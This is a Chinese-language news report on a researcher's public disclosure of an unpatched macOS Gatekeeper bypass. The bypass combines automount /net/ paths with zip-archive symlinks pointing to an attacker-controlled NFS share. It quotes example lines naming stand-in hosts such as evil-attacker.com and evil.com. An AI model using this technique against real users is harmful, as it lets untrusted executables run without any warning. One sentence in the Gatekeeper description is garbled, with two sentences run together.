研究人员暴露了macOS Gatekeeper安全机制中的漏洞

安全研究员FilippoCavallarin已经公开了他所说的绕过macOS的Gatekeeper安全功能的方法。截至上周发布的macOS10.14.5版本，苹果仍然没有解决旁路问题。

Gatekeeper是一种macOS安全工具，可在下载后立即验证应用程序。这可以防止应用程序在未经用户同意的情当用户从MacAppStore外部下载应用程序时，Gatekeeper用于检查代码是否已由Apple签名。如果代码尚未签名，则在用户未授予权限的情况下，该应用程序将无法打开。

然而，Cavallarin在他的博客上写道，Gatekeeper的功能可以被完全绕过。在当前的实现中，Gatekeeper将外部驱动器和网络共享视为“安全位置”。这意味着它允许运行这些位置中包含的任何应用程序而无需再次检查代码。他接着解释说，用户可以“轻易”欺骗安装网络共享驱动器，然后该文件夹中的任何内容都可以通过Gatekeeper。

安全研究员解释说：

第一个合法的功能是automount(akaautofs)，它允许用户仅通过访问“特殊”路径(在这种情况下，以“/net/”开头的任何路径)自动挂载网络共享。

例如，'ls/net/evil-attacker.com/sharedfolder/'将使os使用NFS读取远程主机(evil-attacker.com)上'sharedfolder'的内容。

第二个合法的功能是zip存档可以包含指向任意位置(包括automountenpoints)的符号链接，并且MacOS上负责解压缩zip文件的软件在创建它们之前不会对符号链接执行任何检查。

这是如何工作的一个例子：

为了更好地理解此漏洞利用的工作原理，让我们考虑以下场景：攻击者制作一个zip文件，其中包含一个指向她/他控制的automount端点的符号链接(来自Documents->/net/evil.com/Documents)并将其发送到受害者。

受害者下载恶意档案，提取并遵循符号链接。

现在，受害者位于受攻击者控制但受Gatekeeper信任的位置，因此任何攻击者控制的可执行文件都可以在没有任何警告的情况下运行。设计Finder的方式(隐藏.app扩展，隐藏标题栏的完整路径)使得这个技术非常有效且难以发现。

Cavallarin表示，他于2月22日向Apple通报了这一漏洞，该公司应该在上周发布macOS10.14.5时解决这个问题。然而，截至该版本，该漏洞仍未得到解决，Cavallarin称Apple已停止回复他的电子邮件。他正在宣传这个缺陷，因为他给苹果公司提供了90天的窗口。

标签：

免责声明：免责声明：本文由用户上传，与本网站立场无关。财经信息仅供读者参考，并不构成投资建议。投资者据此操作，风险自担。 如有侵权请联系删除！